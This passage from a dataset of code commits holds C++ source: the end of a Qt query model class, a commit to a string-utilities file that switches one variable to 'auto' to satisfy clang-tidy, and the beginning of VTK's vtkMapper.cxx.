1;\n\n pivot_col = -1;\n pivot_cat = -1;\n pivot_val = -1;\n}\n\nvoid QueryModel::setRowsFrom(int rows_from)\n{\n this->rows_from = rows_from;\n}\n\nint QueryModel::getPivotCol()\n{\n return this->pivot_col;\n}\n\nint QueryModel::getPivotCat()\n{\n return this->pivot_cat;\n}\n\nint QueryModel::getPivotVal()\n{\n return this->pivot_val;\n}\n\nvoid QueryModel::setPivotCol(int pivot_col)\n{\n this->pivot_col = pivot_col;\n}\n\nvoid QueryModel::setPivotCat(int pivot_cat)\n{\n this->pivot_cat = pivot_cat;\n}\n\nvoid QueryModel::setPivotVal(int pivot_val)\n{\n this->pivot_val = pivot_val;\n}\n\nvoid QueryModel::setColumnAggregate(QStringList aggs)\n{\n current_column_aggregates = aggs;\n}\n\nQVariant QueryModel::data(const QModelIndex &index, int role) const\n{\n \/\/Store the index into item to call the sibling of index.\n QModelIndex item = indexInQuery(index);\n\n \/\/Align integers to the right\n if ((index.isValid() && role == Qt::TextAlignmentRole) && (index.data().type() != QMetaType::QString))\n return (Qt::AlignVCenter + Qt::AlignRight);\n\n if(index.isValid() && role == Qt::BackgroundRole && index.column() == pivot_col)\n return QColor(255, 0, 0, 100);\n\n if(index.isValid() && role == Qt::BackgroundRole && index.column() == pivot_cat)\n return QColor(0, 255, 0, 100);\n\n \/\/Disable all roles except DisplayRole\n if (!index.isValid() || (role != Qt::DisplayRole))\n return QVariant();\n\n \/\/Return sibling of index\n return QSqlQueryModel::data(index.sibling(item.row(), index.column()), role);\n}\n\nQVariant QueryModel::headerData(int section, Qt::Orientation orientation, int role) const\n{\n if(orientation == Qt::Vertical && role == Qt::DisplayRole)\n return QVariant(rows_from + section);\n else\n return QSqlQueryModel::headerData(section, orientation, role);\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"core\/stringutils.h\"\n\n#include <string>\n#include <algorithm>\n#include <cstring>\n#include <vector>\n#include <sstream>\n#include <iterator>\n#include <type_traits>\n\n#include \"core\/assert.h\"\n\n\nnamespace euphoria::core\n{\n\nstd::pair<std::string, std::string>\nlast_strings(const std::string& str, char sep)\n{\n auto result = str.find(sep);\n if(result == std::string::npos)\n {\n return std::make_pair(str, \"\");\n }\n\n const auto parent = str.substr(0, result);\n const auto child = str.substr(result, str.length() - parent.length());\n return std::make_pair(parent, child);\n}\n\n\nstd::string\nfirst_chars(const std::string& str, std::size_t count)\n{\n if(str.length() < count) { return str; }\n else { return str.substr(0, count); }\n}\n\n\nstd::string\nfirst_chars_with_ellipsis(const std::string& str, unsigned int count)\n{\n if (str.length() > count)\n {\n return str.substr(0, count) + \"...\";\n }\n\n return str;\n}\n\n\nstd::string\nstrip_last_string(const std::string& str, char sep)\n{\n auto result = str.find(sep);\n if(result == std::string::npos)\n {\n return \"\";\n }\n\n return str.substr(0, result);\n}\n\n\nstd::string\ntrim_right(const std::string& string_to_trim, const std::string& trim_characters)\n{\n return std::string(string_to_trim).erase(string_to_trim.find_last_not_of(trim_characters) + 1);\n}\n\n\nstd::string\ntrim_left(const std::string& string_to_trim, const std::string& trim_characters)\n{\n return std::string(string_to_trim).erase(0, string_to_trim.find_first_not_of(trim_characters));\n}\n\n\nstd::string\ntrim(const std::string& string_to_trim, const std::string& trim_characters)\n{\n return trim_right(trim_left(string_to_trim, trim_characters), trim_characters);\n}\n\n\nbool\nstarts_with(const std::string& string_to_test, const std::string& start)\n{\n const std::string::size_type length = start.length();\n const std::string::size_type other_length = string_to_test.length();\n if(other_length < length)\n {\n return false;\n }\n const std::string actual_start = string_to_test.substr(0, length);\n return start == actual_start;\n}\n\n\nbool\nends_with(const std::string& string_to_test, const std::string& end)\n{\n const std::string::size_type length = end.length();\n const std::string::size_type other_length = string_to_test.length();\n if(other_length < length)\n {\n return false;\n }\n const std::string actual_end\n = string_to_test.substr(other_length - length, length);\n return end == actual_end;\n}\n\n\nchar\nto_lower_char(char b)\n{\n if(b >= 'A' && b <= 'Z')\n {\n return static_cast<char>((static_cast<int>(b) - 'A') + 'a');\n }\n else\n {\n return b;\n }\n}\n\nchar\nto_upper_char(char b)\n{\n if(b >= 'a' && b <= 'z')\n {\n return static_cast<char>(b + ('A' - 'a'));\n }\n else\n {\n return b;\n }\n}\n\n\nstd::string\nto_lower(const std::string& str)\n{\n std::string result = str;\n std::transform(result.begin(), result.end(), result.begin(), to_lower_char);\n return result;\n}\n\n\nstd::vector<std::string>\nto_lower(const std::vector<std::string>& str)\n{\n return to_string_vector(str, [](const std::string& s) { return to_lower(s); });\n}\n\n\nstd::string\nto_upper(const std::string& str)\n{\n std::string result = str;\n std::transform(result.begin(), result.end(), result.begin(), to_upper_char);\n return result;\n}\n\n\nstd::string\nchar_to_string(char c, CharToStringStyle style)\n{\n constexpr std::string_view smart_characters =\n \"abcdefghijklmnopqrstuwxyz\"\n \"ABCDEFGHIJKLMNOPQRSTUWXYZ\"\n \" \"\n \"~!@#$%^&*()_+\"\n \"`123456790-=\"\n \",.<>\/?\"\n \"{}[]:;\\\"'\\\\|\"\n \"\\n\\r\\t\"\n ;\n std::ostringstream ss;\n switch(c)\n {\n case 0:\n ss << \"<null>\";\n if(style == CharToStringStyle::smart)\n {\n return ss.str();\n }\n break;\n case '\\n':\n ss << \"<\\\\n>\";\n break;\n case '\\r':\n ss << \"<\\\\r>\";\n break;\n case '\\t':\n ss << \"<tab>\";\n break;\n \/\/ source: http:\/\/www.asciitable.com\/\n case 1: ss << \"<start of heading>\"; break;\n case 2: ss << \"<start of text>\"; break;\n case 3: ss << \"<end of text>\"; break;\n case 4: ss << \"<end of transmission>\"; break;\n case 5: ss << \"<enquiry>\"; break;\n case 6: ss << \"<acknowledge>\"; break;\n case 7: ss << \"<bell>\"; break;\n case 8: ss << \"<backspace>\"; break;\n \/\/ case 9: ss << \"<horizontal tab>\"; break;\n \/\/ case 10: ss << \"<newline>\"; break;\n case 11: ss << \"<vertical tab>\"; break;\n case 12: ss << \"<new page>\"; break;\n \/\/ case 13: ss << \"<carriage return>\"; break;\n case 14: ss << \"<shift out>\"; break;\n case 15: ss << \"<shift in>\"; break;\n case 16: ss << \"<data link esqape>\"; break;\n case 17: ss << \"<device control 1>\"; break;\n case 18: ss << \"<device control 2>\"; break;\n case 19: ss << \"<device control 3>\"; break;\n case 20: ss << \"<device control 4>\"; break;\n case 21: ss << \"<negative acknowledge>\"; break;\n case 22: ss << \"<synchronous idle>\"; break;\n case 23: ss << \"<end of trans. block>\"; break;\n case 24: ss << \"<cancel>\"; break;\n case 25: ss << \"<end of medium>\"; break;\n case 26: ss << \"<substitute>\"; break;\n case 27: ss << \"<escape>\"; break;\n case 28: ss << \"<file separator>\"; break;\n case 29: ss << \"<group separator>\"; break;\n case 30: ss << \"<record separator>\"; break;\n case 31: ss << \"<unit separator>\"; break;\n case 127: ss << \"<DEL>\"; break;\n\n case ' ':\n ss << \"<space>\";\n break;\n default:\n ss << c;\n break;\n }\n\n if(style == CharToStringStyle::include_hex || smart_characters.find(c) == std::string_view::npos)\n {\n ss << \"(0x\" << std::hex << static_cast<int>(c) << \")\";\n }\n return ss.str();\n}\n\n\nstd::string::size_type\nfind_first_index_of_mismatch(const std::string& lhs, const std::string& rhs)\n{\n const auto end = std::min(lhs.size(), rhs.size());\n\n std::string::size_type index = 0;\n for(; index < end; index+=1)\n {\n if(lhs[index]!=rhs[index])\n {\n return index;\n }\n }\n\n if(index >= lhs.size() && index >= rhs.size())\n {\n return std::string::npos;\n }\n else\n {\n return end;\n }\n}\n\n\nvoid\nreplace_all(std::string* string, const std::string& to_find, const std::string& to_replace)\n{\n std::size_t index = string->find(to_find);\n const std::size_t find_length = to_find.length();\n ASSERT(find_length > 0);\n while(index != std::string::npos)\n {\n string->erase(index, find_length);\n string->insert(index, to_replace);\n index = string->find(to_find, index);\n }\n}\n\n\nstd::string\nreplace_all(const std::string& string, const std::string& to_find, const std::string& to_replace)\n{\n std::string temp = string;\n replace_all(&temp, to_find, to_replace);\n return temp;\n}\n\n\nvoid\ncopy(char* dst, const std::string& src, const std::string::size_type& count)\n{\n strncpy(dst, src.c_str(), count - 1);\n dst[count - 1] = 0;\n}\n\n\nstd::string\nreplace_with_character(const std::string& string, const std::string& to_find, char to_replace)\n{\n std::string s = string;\n for(char c: to_find)\n {\n std::replace(s.begin(), s.end(), c, to_replace);\n }\n return s;\n}\n\n\nstd::string\nremove_from_end(const std::string& str, const std::string& end)\n{\n if(ends_with(str, end))\n {\n const auto new_length = str.length() - end.length();\n if(new_length == 0)\n {\n return \"\";\n }\n ASSERT(new_length > 0);\n return str.substr(0, new_length);\n }\n\n return str;\n}\n\n\nstd::string\nstrip(const std::string& str, const std::string& ch)\n{\n std::stringstream ss;\n for(const char c: str)\n {\n if(ch.find(c) == std::string::npos)\n {\n ss << c;\n }\n }\n return ss.str();\n}\n\n\n\/\/ remove all characters in ch except the first one in a chain from str\nstd::string\nremove_consecutive(const std::string& str, const std::string& ch)\n{\n std::stringstream ss;\n bool skip = false;\n for(const char c: str)\n {\n if(ch.find(c) == std::string::npos)\n {\n ss << c;\n skip = false;\n }\n else\n {\n if(!skip)\n {\n ss << c;\n skip = true;\n }\n }\n }\n return ss.str();\n}\n\n\nnamespace\n{\n template<typename R, typename T>\n struct SizeGetter\n {\n static R get(const T& t) { return t.size(); }\n };\n\n template<typename R>\n struct SizeGetter<R, char>\n {\n static R get(char) { return 1; }\n };\n\n template<typename R, typename T>\n R get_size(const T& t) { return SizeGetter<R, T>::get(t); }\n\n template\n <\n typename ListType,\n typename OffsetType,\n typename StringType,\n typename DelimType,\n typename AddFunction\n >\n ListType\n split_base(const StringType str, DelimType delim, bool add_final, AddFunction&& add_function)\n {\n ListType ret;\n\n const OffsetType delim_length = get_size<OffsetType>(delim);\n\n OffsetType search_start = 0;\n OffsetType index = 0;\n \n while(true)\n {\n const auto found_index = str.find(delim, search_start);\n if(found_index == StringType::npos)\n {\n \/\/ abort... add last?\n \/\/ todo(Gustav): add argument to specify how to handle split on empty input\n if(add_final && str.empty() == false)\n {\n add_function(ret, index, str.substr(search_start));\n }\n return ret;\n }\n add_function(ret, index, str.substr(search_start, found_index - search_start));\n index += 1;\n search_start = found_index + delim_length;\n }\n }\n}\n\n\nstd::vector<std::string>\nsplit(const std::string& s, char c)\n{\n return split_base<std::vector<std::string>, std::size_t>\n (\n s, c, true, [](std::vector<std::string>& v, std::size_t, const std::string& s)\n {\n v.emplace_back(s);\n }\n );\n}\n\n\nstd::vector<std::string>\nsplit_on_spaces(const std::string& string)\n{\n std::istringstream iss(string);\n return std::vector<std::string>\n (\n std::istream_iterator<std::string>{iss},\n std::istream_iterator<std::string>()\n );\n}\n\n\nstd::string\noptional_string(bool b, const std::string& str)\n{\n if(b)\n {\n return str;\n }\n else\n {\n return \"\";\n }\n}\n\n\nbool\nis_number(char b)\n{\n return b >= '0' && b <= '9';\n}\n\n\nint\nparse_number(const char** aa)\n{\n const char*& a = *aa;\n\n int result = *a - '0';\n ++a;\n\n while(is_number(*a))\n {\n result *= 10;\n result += *a - '0';\n ++a;\n }\n\n --a;\n return result;\n}\n\n\nint\nstring_compare(const std::string& lhs, const std::string& rhs)\n{\n const char* a = lhs.c_str();\n const char* b = rhs.c_str();\n\n if(a == b) { return 0; }\n if(a == nullptr) { return -1; }\n if(b == nullptr) { return 1; }\n\n while(*a != 0 && *b != 0)\n {\n \/\/ will contain either a number or a letter\n const int a0 = is_number(*a) ? parse_number(&a) + 256 : to_lower_char(*a);\n const int b0 = is_number(*b) ? parse_number(&b) + 256 : to_lower_char(*b);\n\n if(a0 < b0) { return -1; }\n if(a0 > b0) { return 1; }\n\n ++a;\n ++b;\n }\n\n if(*a != 0) { return 1; }\n if(*b != 0) { return -1; }\n\n return 0;\n}\n\n}\n<commit_msg>fix: use auto to fix clang-tidy error<commit_after>#include \"core\/stringutils.h\"\n\n#include <string>\n#include <algorithm>\n#include <cstring>\n#include <vector>\n#include <sstream>\n#include <iterator>\n#include <type_traits>\n\n#include \"core\/assert.h\"\n\n\nnamespace euphoria::core\n{\n\nstd::pair<std::string, std::string>\nlast_strings(const std::string& str, char sep)\n{\n auto result = str.find(sep);\n if(result == std::string::npos)\n {\n return std::make_pair(str, \"\");\n }\n\n const auto parent = str.substr(0, result);\n const auto child = str.substr(result, str.length() - parent.length());\n return std::make_pair(parent, child);\n}\n\n\nstd::string\nfirst_chars(const std::string& str, std::size_t count)\n{\n if(str.length() < count) { return str; }\n else { return str.substr(0, count); }\n}\n\n\nstd::string\nfirst_chars_with_ellipsis(const std::string& str, unsigned int count)\n{\n if (str.length() > count)\n {\n return str.substr(0, count) + \"...\";\n }\n\n return str;\n}\n\n\nstd::string\nstrip_last_string(const std::string& str, char sep)\n{\n auto result = str.find(sep);\n if(result == std::string::npos)\n {\n return \"\";\n }\n\n return str.substr(0, result);\n}\n\n\nstd::string\ntrim_right(const std::string& string_to_trim, const std::string& trim_characters)\n{\n return std::string(string_to_trim).erase(string_to_trim.find_last_not_of(trim_characters) + 1);\n}\n\n\nstd::string\ntrim_left(const std::string& string_to_trim, const std::string& trim_characters)\n{\n return std::string(string_to_trim).erase(0, string_to_trim.find_first_not_of(trim_characters));\n}\n\n\nstd::string\ntrim(const std::string& string_to_trim, const std::string& trim_characters)\n{\n return trim_right(trim_left(string_to_trim, trim_characters), trim_characters);\n}\n\n\nbool\nstarts_with(const std::string& string_to_test, const std::string& start)\n{\n const std::string::size_type length = start.length();\n const std::string::size_type other_length = string_to_test.length();\n if(other_length < length)\n {\n return false;\n }\n const std::string actual_start = string_to_test.substr(0, length);\n return start == actual_start;\n}\n\n\nbool\nends_with(const std::string& string_to_test, const std::string& end)\n{\n const std::string::size_type length = end.length();\n const std::string::size_type other_length = string_to_test.length();\n if(other_length < length)\n {\n return false;\n }\n const std::string actual_end\n = string_to_test.substr(other_length - length, length);\n return end == actual_end;\n}\n\n\nchar\nto_lower_char(char b)\n{\n if(b >= 'A' && b <= 'Z')\n {\n return static_cast<char>((static_cast<int>(b) - 'A') + 'a');\n }\n else\n {\n return b;\n }\n}\n\nchar\nto_upper_char(char b)\n{\n if(b >= 'a' && b <= 'z')\n {\n return static_cast<char>(b + ('A' - 'a'));\n }\n else\n {\n return b;\n }\n}\n\n\nstd::string\nto_lower(const std::string& str)\n{\n std::string result = str;\n std::transform(result.begin(), result.end(), result.begin(), to_lower_char);\n return result;\n}\n\n\nstd::vector<std::string>\nto_lower(const std::vector<std::string>& str)\n{\n return to_string_vector(str, [](const std::string& s) { return to_lower(s); });\n}\n\n\nstd::string\nto_upper(const std::string& str)\n{\n std::string result = str;\n std::transform(result.begin(), result.end(), result.begin(), to_upper_char);\n return result;\n}\n\n\nstd::string\nchar_to_string(char c, CharToStringStyle style)\n{\n constexpr std::string_view smart_characters =\n \"abcdefghijklmnopqrstuwxyz\"\n \"ABCDEFGHIJKLMNOPQRSTUWXYZ\"\n \" \"\n \"~!@#$%^&*()_+\"\n \"`123456790-=\"\n \",.<>\/?\"\n \"{}[]:;\\\"'\\\\|\"\n \"\\n\\r\\t\"\n ;\n std::ostringstream ss;\n switch(c)\n {\n case 0:\n ss << \"<null>\";\n if(style == CharToStringStyle::smart)\n {\n return ss.str();\n }\n break;\n case '\\n':\n ss << \"<\\\\n>\";\n break;\n case '\\r':\n ss << \"<\\\\r>\";\n break;\n case '\\t':\n ss << \"<tab>\";\n break;\n \/\/ source: http:\/\/www.asciitable.com\/\n case 1: ss << \"<start of heading>\"; break;\n case 2: ss << \"<start of text>\"; break;\n case 3: ss << \"<end of text>\"; break;\n case 4: ss << \"<end of transmission>\"; break;\n case 5: ss << \"<enquiry>\"; break;\n case 6: ss << \"<acknowledge>\"; break;\n case 7: ss << \"<bell>\"; break;\n case 8: ss << \"<backspace>\"; break;\n \/\/ case 9: ss << \"<horizontal tab>\"; break;\n \/\/ case 10: ss << \"<newline>\"; break;\n case 11: ss << \"<vertical tab>\"; break;\n case 12: ss << \"<new page>\"; break;\n \/\/ case 13: ss << \"<carriage return>\"; break;\n case 14: ss << \"<shift out>\"; break;\n case 15: ss << \"<shift in>\"; break;\n case 16: ss << \"<data link esqape>\"; break;\n case 17: ss << \"<device control 1>\"; break;\n case 18: ss << \"<device control 2>\"; break;\n case 19: ss << \"<device control 3>\"; break;\n case 20: ss << \"<device control 4>\"; break;\n case 21: ss << \"<negative acknowledge>\"; break;\n case 22: ss << \"<synchronous idle>\"; break;\n case 23: ss << \"<end of trans. block>\"; break;\n case 24: ss << \"<cancel>\"; break;\n case 25: ss << \"<end of medium>\"; break;\n case 26: ss << \"<substitute>\"; break;\n case 27: ss << \"<escape>\"; break;\n case 28: ss << \"<file separator>\"; break;\n case 29: ss << \"<group separator>\"; break;\n case 30: ss << \"<record separator>\"; break;\n case 31: ss << \"<unit separator>\"; break;\n case 127: ss << \"<DEL>\"; break;\n\n case ' ':\n ss << \"<space>\";\n break;\n default:\n ss << c;\n break;\n }\n\n if(style == CharToStringStyle::include_hex || smart_characters.find(c) == std::string_view::npos)\n {\n ss << \"(0x\" << std::hex << static_cast<int>(c) << \")\";\n }\n return ss.str();\n}\n\n\nstd::string::size_type\nfind_first_index_of_mismatch(const std::string& lhs, const std::string& rhs)\n{\n const auto end = std::min(lhs.size(), rhs.size());\n\n std::string::size_type index = 0;\n for(; index < end; index+=1)\n {\n if(lhs[index]!=rhs[index])\n {\n return index;\n }\n }\n\n if(index >= lhs.size() && index >= rhs.size())\n {\n return std::string::npos;\n }\n else\n {\n return end;\n }\n}\n\n\nvoid\nreplace_all(std::string* string, const std::string& to_find, const std::string& to_replace)\n{\n std::size_t index = string->find(to_find);\n const std::size_t find_length = to_find.length();\n ASSERT(find_length > 0);\n while(index != std::string::npos)\n {\n string->erase(index, find_length);\n string->insert(index, to_replace);\n index = string->find(to_find, index);\n }\n}\n\n\nstd::string\nreplace_all(const std::string& string, const std::string& to_find, const std::string& to_replace)\n{\n std::string temp = string;\n replace_all(&temp, to_find, to_replace);\n return temp;\n}\n\n\nvoid\ncopy(char* dst, const std::string& src, const std::string::size_type& count)\n{\n strncpy(dst, src.c_str(), count - 1);\n dst[count - 1] = 0;\n}\n\n\nstd::string\nreplace_with_character(const std::string& string, const std::string& to_find, char to_replace)\n{\n std::string s = string;\n for(char c: to_find)\n {\n std::replace(s.begin(), s.end(), c, to_replace);\n }\n return s;\n}\n\n\nstd::string\nremove_from_end(const std::string& str, const std::string& end)\n{\n if(ends_with(str, end))\n {\n const auto new_length = str.length() - end.length();\n if(new_length == 0)\n {\n return \"\";\n }\n ASSERT(new_length > 0);\n return str.substr(0, new_length);\n }\n\n return str;\n}\n\n\nstd::string\nstrip(const std::string& str, const std::string& ch)\n{\n std::stringstream ss;\n for(const char c: str)\n {\n if(ch.find(c) == std::string::npos)\n {\n ss << c;\n }\n }\n return ss.str();\n}\n\n\n\/\/ remove all characters in ch except the first one in a chain from str\nstd::string\nremove_consecutive(const std::string& str, const std::string& ch)\n{\n std::stringstream ss;\n bool skip = false;\n for(const char c: str)\n {\n if(ch.find(c) == std::string::npos)\n {\n ss << c;\n skip = false;\n }\n else\n {\n if(!skip)\n {\n ss << c;\n skip = true;\n }\n }\n }\n return ss.str();\n}\n\n\nnamespace\n{\n template<typename R, typename T>\n struct SizeGetter\n {\n static R get(const T& t) { return t.size(); }\n };\n\n template<typename R>\n struct SizeGetter<R, char>\n {\n static R get(char) { return 1; }\n };\n\n template<typename R, typename T>\n R get_size(const T& t) { return SizeGetter<R, T>::get(t); }\n\n template\n <\n typename ListType,\n typename OffsetType,\n typename StringType,\n typename DelimType,\n typename AddFunction\n >\n ListType\n split_base(const StringType str, DelimType delim, bool add_final, AddFunction&& add_function)\n {\n ListType ret;\n\n const auto delim_length = get_size<OffsetType>(delim);\n\n OffsetType search_start = 0;\n OffsetType index = 0;\n \n while(true)\n {\n const auto found_index = str.find(delim, search_start);\n if(found_index == StringType::npos)\n {\n \/\/ abort... add last?\n \/\/ todo(Gustav): add argument to specify how to handle split on empty input\n if(add_final && str.empty() == false)\n {\n add_function(ret, index, str.substr(search_start));\n }\n return ret;\n }\n add_function(ret, index, str.substr(search_start, found_index - search_start));\n index += 1;\n search_start = found_index + delim_length;\n }\n }\n}\n\n\nstd::vector<std::string>\nsplit(const std::string& s, char c)\n{\n return split_base<std::vector<std::string>, std::size_t>\n (\n s, c, true, [](std::vector<std::string>& v, std::size_t, const std::string& s)\n {\n v.emplace_back(s);\n }\n );\n}\n\n\nstd::vector<std::string>\nsplit_on_spaces(const std::string& string)\n{\n std::istringstream iss(string);\n return std::vector<std::string>\n (\n std::istream_iterator<std::string>{iss},\n std::istream_iterator<std::string>()\n );\n}\n\n\nstd::string\noptional_string(bool b, const std::string& str)\n{\n if(b)\n {\n return str;\n }\n else\n {\n return \"\";\n }\n}\n\n\nbool\nis_number(char b)\n{\n return b >= '0' && b <= '9';\n}\n\n\nint\nparse_number(const char** aa)\n{\n const char*& a = *aa;\n\n int result = *a - '0';\n ++a;\n\n while(is_number(*a))\n {\n result *= 10;\n result += *a - '0';\n ++a;\n }\n\n --a;\n return result;\n}\n\n\nint\nstring_compare(const std::string& lhs, const std::string& rhs)\n{\n const char* a = lhs.c_str();\n const char* b = rhs.c_str();\n\n if(a == b) { return 0; }\n if(a == nullptr) { return -1; }\n if(b == nullptr) { return 1; }\n\n while(*a != 0 && *b != 0)\n {\n \/\/ will contain either a number or a letter\n const int a0 = is_number(*a) ? parse_number(&a) + 256 : to_lower_char(*a);\n const int b0 = is_number(*b) ? parse_number(&b) + 256 : to_lower_char(*b);\n\n if(a0 < b0) { return -1; }\n if(a0 > b0) { return 1; }\n\n ++a;\n ++b;\n }\n\n if(*a != 0) { return 1; }\n if(*b != 0) { return -1; }\n\n return 0;\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: vtkMapper.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\nCopyright (c) 1993-2001 Ken Martin, Will Schroeder, Bill Lorensen \nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and\/or other materials provided with the distribution.\n\n * Neither name of Ken Martin, Will Schroeder, or Bill Lorensen nor the names\n of any contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\n * Modified source versions must be plainly marked as such, and must not be\n misrepresented as being the original software.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS''\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n=========================================================================*\/\n#include \"vtkMapper.h\"\n#include \"vtkLookupTable.h\"\n\n\/\/ Initialize static member that controls global immediate mode rendering\nstatic int vtkMapperGlobalImmediateModeRendering = 0;\n\n\/\/ Initialize static member that controls global coincidence resolution\nstatic int vtkMapperGlobalResolveCoincidentTopology = VTK_RESOLVE_OFF;\nstatic double vtkMapperGlobalResolveCoincidentTopologyZShift = 0.01;\nstatic float vtkMapperGlobalResolveCoincidentTopologyPolygonOffsetFactor = 1.0;\nstatic float vtkMapperGlobalResolveCoincidentTopologyPolygonOffsetUnits = 1.0;\n\n\/\/ Construct with initial range (0,1).\nvtkMapper::vtkMapper()\n{\n this->Colors = NULL;\n\n this->LookupTable = NULL;\n\n this->ScalarVisibility = 1;\n this->ScalarRange[0] = 0.0; this->ScalarRange[1] = 1.0;\n this->UseLookupTableScalarRange = 0;\n\n this->ImmediateModeRendering = 0;\n\n this->ColorMode = VTK_COLOR_MODE_DEFAULT;\n this->ScalarMode = VTK_SCALAR_MODE_DEFAULT;\n \n this->Bounds[0] = this->Bounds[2] = this->Bounds[4] = -1.0;\n this->Bounds[1] = this->Bounds[3] = this->Bounds[5] = 1.0;\n this->Center[0] = this->Center[1] = this->Center[2] = 0.0;\n\n this->RenderTime = 0.0;\n \n strcpy(this->ArrayName, \"\");\n this->ArrayId = -1;\n this->ArrayComponent = -1;\n this->ArrayAccessMode = -1;\n}\n\nvtkMapper::~vtkMapper()\n{\n if (this->LookupTable)\n {\n this->LookupTable->UnRegister(this);\n }\n if ( this->Colors != NULL )\n {\n this->Colors->UnRegister(this);\n }\n}\n\n\/\/ Get the bounds for the input of this mapper as \n\/\/ (Xmin,Xmax,Ymin,Ymax,Zmin,Zmax).\nfloat *vtkMapper::GetBounds()\n{\n static float bounds[] = {-1.0,1.0, -1.0,1.0, -1.0,1.0};\n\n if ( ! this->GetInput() ) \n {\n return bounds;\n }\n else\n {\n this->Update();\n this->GetInput()->GetBounds(this->Bounds);\n return this->Bounds;\n }\n}\n\nvtkDataSet *vtkMapper::GetInput()\n{\n if (this->NumberOfInputs < 1)\n {\n return NULL;\n }\n \n return (vtkDataSet *)(this->Inputs[0]);\n}\n\nvoid vtkMapper::SetGlobalImmediateModeRendering(int val)\n{\n if (val == vtkMapperGlobalImmediateModeRendering)\n {\n return;\n }\n vtkMapperGlobalImmediateModeRendering = val;\n}\n\nint vtkMapper::GetGlobalImmediateModeRendering()\n{\n return vtkMapperGlobalImmediateModeRendering;\n}\n\nvoid vtkMapper::SetResolveCoincidentTopology(int val)\n{\n if (val == vtkMapperGlobalResolveCoincidentTopology)\n {\n return;\n }\n vtkMapperGlobalResolveCoincidentTopology = val;\n}\n\nint vtkMapper::GetResolveCoincidentTopology()\n{\n return vtkMapperGlobalResolveCoincidentTopology;\n}\n\nvoid vtkMapper::SetResolveCoincidentTopologyToDefault()\n{\n vtkMapperGlobalResolveCoincidentTopology = VTK_RESOLVE_OFF;\n}\n\nvoid vtkMapper::SetResolveCoincidentTopologyZShift(double val)\n{\n if (val == vtkMapperGlobalResolveCoincidentTopologyZShift)\n {\n return;\n }\n vtkMapperGlobalResolveCoincidentTopologyZShift = val;\n}\n\ndouble vtkMapper::GetResolveCoincidentTopologyZShift()\n{\n return vtkMapperGlobalResolveCoincidentTopologyZShift;\n}\n\nvoid vtkMapper::SetResolveCoincidentTopologyPolygonOffsetParameters(\n float factor, float units)\n{\n if (factor == vtkMapperGlobalResolveCoincidentTopologyPolygonOffsetFactor &&\n units == vtkMapperGlobalResolveCoincidentTopologyPolygonOffsetUnits )\n {\n return;\n }\n vtkMapperGlobalResolveCoincidentTopologyPolygonOffsetFactor = factor;\n vtkMapperGlobalResolveCoincidentTopologyPolygonOffsetFactor = units;\n}\n\nvoid vtkMapper::GetResolveCoincidentTopologyPolygonOffsetParameters(\n float& factor, float& units)\n{\n factor = vtkMapperGlobalResolveCoincidentTopologyPolygonOffsetFactor;\n units = vtkMapperGlobalResolveCoincidentTopologyPolygonOffsetUnits;\n}\n\n\/\/ Overload standard modified time function. If lookup table is modified,\n\/\/ then this object is modified as well.\nunsigned long vtkMapper::GetMTime()\n{\n unsigned long mTime=this->MTime.GetMTime();\n unsigned long lutMTime;\n\n if ( this->LookupTable != NULL )\n {\n lutMTime = this->LookupTable->GetMTime();\n mTime = ( lutMTime > mTime ? lutMTime : mTime );\n }\n\n return mTime;\n}\n\nvoid vtkMapper::ShallowCopy(vtkMapper *m)\n{\n this->SetLookupTable(m->GetLookupTable());\n this->SetClippingPlanes(m->GetClippingPlanes());\n this->SetScalarVisibility(m->GetScalarVisibility());\n this->SetScalarRange(m->GetScalarRange());\n this->SetColorMode(m->GetColorMode());\n this->SetScalarMode(m->GetScalarMode());\n this->SetImmediateModeRendering(m->GetImmediateModeRendering());\n}\n\n\/\/ a side effect of this is that this->Colors is also set\n\/\/ to the return value\nvtkScalars *vtkMapper::GetColors()\n{\n vtkScalars *scalars = NULL;\n vtkDataArray *dataArray=0;\n vtkPointData *pd;\n vtkCellData *cd;\n vtkIdType i, numScalars;\n \n \/\/ make sure we have an input\n if (!this->GetInput())\n {\n return NULL;\n }\n \n \/\/ get and scalar data according to scalar mode\n if ( this->ScalarMode == VTK_SCALAR_MODE_DEFAULT )\n {\n scalars = this->GetInput()->GetPointData()->GetScalars();\n if (!scalars)\n {\n scalars = this->GetInput()->GetCellData()->GetScalars();\n }\n }\n else if ( this->ScalarMode == VTK_SCALAR_MODE_USE_POINT_DATA )\n {\n scalars = this->GetInput()->GetPointData()->GetScalars();\n }\n else if ( this->ScalarMode == VTK_SCALAR_MODE_USE_CELL_DATA )\n {\n scalars = this->GetInput()->GetCellData()->GetScalars();\n }\n else if ( this->ScalarMode == VTK_SCALAR_MODE_USE_POINT_FIELD_DATA )\n {\n pd = this->GetInput()->GetPointData();\n if (pd)\n {\n if (this->ArrayAccessMode == VTK_GET_ARRAY_BY_ID)\n\t{\n\tdataArray = pd->GetArray(this->ArrayId);\n\t}\n else\n\t{\n\tdataArray = pd->GetArray(this->ArrayName);\n\t}\n }\n \n if 